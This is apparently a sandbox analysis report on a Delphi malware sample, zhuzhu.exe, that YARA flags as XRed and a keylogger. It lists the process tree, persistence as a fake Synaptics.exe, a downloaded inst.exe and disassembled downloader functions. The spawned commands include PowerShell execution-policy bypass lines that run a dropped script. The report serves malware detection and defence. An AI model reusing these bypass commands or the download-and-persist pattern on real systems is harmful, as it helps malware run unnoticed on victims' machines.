2024-12-30 03:59:49 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6lavYSCKeZOPKz9eekJVvbGN-ABVDa0KgtmX5JptBia-Tw3MYy7g3P8jWYn4rJKwTz_oQlwy4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:49 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-uffd8JR1FjutwqX9uTI8ug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:49 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:49 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 47 65 44 33 6c 47 43 62 66 5a 6b 68 36 4c 4e 4a 56 42 31 4d 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="HGeD3lGCbfZkh6LNJVB1MQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:49 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Target ID:	0
Start time:	22:58:57
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\zhuzhu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\zhuzhu.exe"
Imagebase:	0x400000
File size:	6'061'056 bytes
MD5 hash:	675F03DB23D403573A3A6F708A0E4369
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000000.1657184118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1657184118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000000.00000000.1657356123.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1657356123.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000000.00000003.1666861585.00000000067FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000003.1666861585.00000000067FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:58:58
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\._cache_zhuzhu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_zhuzhu.exe"
Imagebase:	0x400000
File size:	5'289'240 bytes
MD5 hash:	B4F00FBA3327488D4CB6FD36B2D567C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000001.00000002.1772641629.0000000000403000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000001.00000000.1664705656.00000000006F9000.00000008.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000001.00000000.1663851009.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\Desktop\._cache_zhuzhu.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Desktop\._cache_zhuzhu.exe, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:58:58
Start date:	29/12/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	382B0F88502E718DFDF96DBC3AA3400A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:59:01
Start date:	29/12/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x650000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	22:59:01
Start date:	29/12/2024
Path:	C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe"
Imagebase:	0x400000
File size:	5'289'240 bytes
MD5 hash:	B4F00FBA3327488D4CB6FD36B2D567C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	22:59:07
Start date:	29/12/2024
Path:	C:\Users\user\Downloads\inst.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Downloads\inst.exe
Imagebase:	0x160000
File size:	4'118'496 bytes
MD5 hash:	AAA0F14BDFE3777EEE342C27DE409E6D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 17%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	22:59:08
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:59:08
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:59:08
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:59:08
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:59:08
Start date:	29/12/2024
Path:	C:\Users\user\Downloads\inst.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Downloads\inst.exe
Imagebase:	0x160000
File size:	4'118'496 bytes
MD5 hash:	AAA0F14BDFE3777EEE342C27DE409E6D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:59:09
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Imagebase:	0xe60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:59:09
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Imagebase:	0xe60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:59:11
Start date:	29/12/2024
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe"
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	382B0F88502E718DFDF96DBC3AA3400A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:59:22
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:59:55
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 12156
Imagebase:	0xa20000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:00:06
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 12156
Imagebase:	0xa20000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:01:03
Start date:	29/12/2024
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff64f8f0000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	99.8%
Signature Coverage:	4.8%
Total number of Nodes:	1619
Total number of Limit Nodes:	5

Executed Functions

Function 02860032 Relevance: 70.8, APIs: 2, Strings: 38, Instructions: 795memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 028604AE
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 028604DE

Strings

A, xrefs: 02860244
st, xrefs: 028601AD
yA, xrefs: 02860125
fo, xrefs: 0286022C
tNat, xrefs: 0286020A
o, xrefs: 028601C9
Fu, xrefs: 0286025A
b, xrefs: 02860287
ctio, xrefs: 0286026B
iv, xrefs: 02860212
Vi, xrefs: 0286012C
mI, xrefs: 02860221
ushI, xrefs: 0286019B
Li, xrefs: 0286010C
a, xrefs: 02860103
otec, xrefs: 0286017F
tu, xrefs: 02860137
Cach, xrefs: 028601FA
Syst, xrefs: 02860219
F, xrefs: 0286018C
Ta, xrefs: 0286027D
p, xrefs: 028600F7
A, xrefs: 02860147
ee, xrefs: 028600F0
Rt, xrefs: 02860233
Via, xrefs: 02860312
Lo, xrefs: 028600FC
oc, xrefs: 02860154
a, xrefs: 0286016D
a, xrefs: 0286013E
a, xrefs: 0286011C
G, xrefs: 02860205
t, xrefs: 02860187
ucti, xrefs: 028601BE
b, xrefs: 02860113
S, xrefs: 028600E7
tu, xrefs: 02860166
P, xrefs: 02860176

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 2032221330-2899676511
Opcode ID: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction ID: 20b1533ca945967a01a7202aa5fb22a40f2745df98c920629b603b0611bc0325
Opcode Fuzzy Hash: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction Fuzzy Hash: D1628A395083858FD720CF24C844BABBBE5FF94704F04492DE9C9DB292E7719948CB9A

Function 10001BB0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 143
networkfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(URLDownloader,00000001,00000000,00000000,00000000), ref: 10001BCA
InternetOpenUrlA.WININET(?,?,00000000,00000000,80000000,00000000), ref: 10001BE6
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,10012458,?,10001BA3,?,?,?), ref: 10001BF8
HttpQueryInfoW.WININET(?,20000005,00000000,00000004,00000000), ref: 10001C2D
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 10001C4A
InternetReadFile.WININET(?,?,00001000,?), ref: 10001C65
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 10001C8E
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 10001D1B
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 10001D2B
InternetCloseHandle.WININET(?), ref: 10001D38
InternetCloseHandle.WININET(?), ref: 10001D42
GetParent.USER32(?), ref: 10001D4C
ShowWindow.USER32(?,00000000), ref: 10001D5B
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10001D93

Strings

inst.exe, xrefs: 10001D61
URLDownloader, xrefs: 10001BC5

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Internet$CloseHandleMessageOpenSend$FileHttpInfoParentQueryReadShowWindowexitfclosefopenfwrite
String ID: URLDownloader$inst.exe
API String ID: 3413257080-3182466430
Opcode ID: 8167bd165008061e034a8e8451ddf05a0f2f7158e41ec6c26d4c78a1f0855317
Instruction ID: ddbd601f5f187a188268b5c7d9f2a971705c802d5f1a5a55912b1b5dcc305942
Opcode Fuzzy Hash: 8167bd165008061e034a8e8451ddf05a0f2f7158e41ec6c26d4c78a1f0855317
Instruction Fuzzy Hash: 2A5109B5D40219ABEB04DFA4CC85FEEB775FF48741F108209F605BA290D774AA90CB61

Function 1000F260 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 61
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1000F26D
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 1000F298
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1000D110), ref: 1000F2C1
CloseHandle.KERNEL32(000000FF), ref: 1000F2CB

Strings

Failed to retrieve first process., xrefs: 1000F2A2

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@CloseCreateD@std@@@std@@FirstHandleProcess32SnapshotToolhelp32U?$char_traits@V01@@
String ID: Failed to retrieve first process.
API String ID: 592929778-1967016982
Opcode ID: 98de57343e861626075a39aa984df5a9d5828a3fa4c83e5535eac612fe9e42d8
Instruction ID: 0ce586cc59c24ae6f6b9b608917b68c1bdf63cf15262094913b6f28177916ec4
Opcode Fuzzy Hash: 98de57343e861626075a39aa984df5a9d5828a3fa4c83e5535eac612fe9e42d8
Instruction Fuzzy Hash: 0D1196B4900218FFEB10EFB0CD89AAE77B8EF08391F104699E90597155D734EB54EB50

Function 1000EE80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RpcStringBindingComposeW.RPCRT4(00000000,100124B8,localhost,100124CC,00000000,10001D8E), ref: 1000EEBE
RpcBindingFromStringBindingW.RPCRT4(10001D8E,00000000), ref: 1000EED9
RpcBindingSetAuthInfoExA.RPCRT4(00000000,00000000,00000006,0000000A,00000000,00000000,00000001), ref: 1000EF10
RpcStringFreeW.RPCRT4(10001D8E), ref: 1000EF1A

Strings

localhost, xrefs: 1000EEB3

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Binding$String$AuthComposeFreeFromInfo
String ID: localhost
API String ID: 1126441048-2663516195
Opcode ID: c91bc88c3a7059766f5b07bc0c43bf0a72e79487a92db334c44e55e67c91127a
Instruction ID: cda66700fc1d67de1566ef6c2ee8939abb6b7c8c1a3f56331cb5e05d924021ce
Opcode Fuzzy Hash: c91bc88c3a7059766f5b07bc0c43bf0a72e79487a92db334c44e55e67c91127a
Instruction Fuzzy Hash: B611D7B4D00209BFEB14CFE4C985BEEBBB4FB08704F108159E605BB280D7B59A54CBA0

Function 10001A60 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 87
windowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitCommonControlsEx.COMCTL32(00000008), ref: 10001A93
GetModuleHandleA.KERNEL32(00000000,00000000), ref: 10001A9D
CreateWindowExW.USER32(00000000,msctls_progress32,00000000,50800001,00000014,0000001E,00000159,00000014,00000001,00000065,00000000), ref: 10001AC3
SetWindowTheme.UXTHEME(00020456,10012444,10012440), ref: 10001ADE
SendMessageW.USER32(00020456,00000409,00000000,00D77800), ref: 10001AF7
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(0000000C), ref: 10001B08
CreateThread.KERNEL32(00000000,00000000,Function_00001B80,?,00000000,00000000), ref: 10001B49
PostQuitMessage.USER32(00000000), ref: 10001B54
DefWindowProcW.USER32(00000002,?,?,?), ref: 10001B6D

Strings

msctls_progress32, xrefs: 10001ABC
, xrefs: 10001A88
3Ro, xrefs: 10001A93

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Window$CreateMessage$CommonControlsHandleInitModulePostProcQuitSendThemeThreadmalloc
String ID: $msctls_progress32$3Ro
API String ID: 1181878002-754273676
Opcode ID: b9dbfd839ac4d6ccd5c8ee77aae33a48e54b131b2285833d3f814014fb2396b0
Instruction ID: 2e44a71670f0cdec86f34bb6316c117ddb1687e3aa8b51598d2db09470581217
Opcode Fuzzy Hash: b9dbfd839ac4d6ccd5c8ee77aae33a48e54b131b2285833d3f814014fb2396b0
Instruction Fuzzy Hash: 9431F6B4A44208FFF710DF94CC89FAA7BB5EB48741F208158FA09AB295D770E950CB65

Function 10001830 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 153
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 10001852

Part of subcall function 10001600: SHGetKnownFolderPath.SHELL32(10012340,00000000,00000000,00000000), ref: 1000165B
Part of subcall function 10001600: wcstombs.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,00000104), ref: 1000167A
Part of subcall function 10001600: CoTaskMemFree.OLE32(00000000,00000000,?), ref: 100016AE

RegisterClassW.USER32(?), ref: 100019AD
CreateWindowExW.USER32(00000000,?,00000000,00000000,?,?,?,?,?,?,10011876), ref: 100019E8
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,10011876), ref: 100019F7
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 10001A1E
TranslateMessage.USER32(?), ref: 10001A2C
DispatchMessageW.USER32(?), ref: 10001A36

Strings

inst.exe, xrefs: 10001897, 10001903, 100019D1
URLDownloader, xrefs: 1000195E

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: MessageWindow$CallbackClassCreateDispatchDispatcherFolderFreeHandleKnownModulePathRegisterShowTaskTranslateUserwcstombs
String ID: URLDownloader$inst.exe
API String ID: 919245287-3182466430
Opcode ID: d7e5858510ef4e4d2c6ac9c6255a0426f83fb6908b9dccf1c9d93bd52c33f40c
Instruction ID: 02b1e0a1a7493eeed2e2321454f16a2ce6d8cc5e573885ca1cf39a898ac010b9
Opcode Fuzzy Hash: d7e5858510ef4e4d2c6ac9c6255a0426f83fb6908b9dccf1c9d93bd52c33f40c
Instruction Fuzzy Hash: 215107B5D00318AFEB54CFA4CC45BDEBBB5FB48340F108169E119A7295EB746A44CF61

Function 10010610 Relevance: 7.5, APIs: 5, Instructions: 28
threadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 1001061D
WaitForSingleObject.KERNEL32(00000000), ref: 10010624
CreateThread.KERNEL32(00000000,00000000,100048C0,00000000,00000000,00000000), ref: 10010639
CreateThread.KERNEL32(00000000,00000000,100100C0,00000000,00000000,00000000), ref: 1001064E

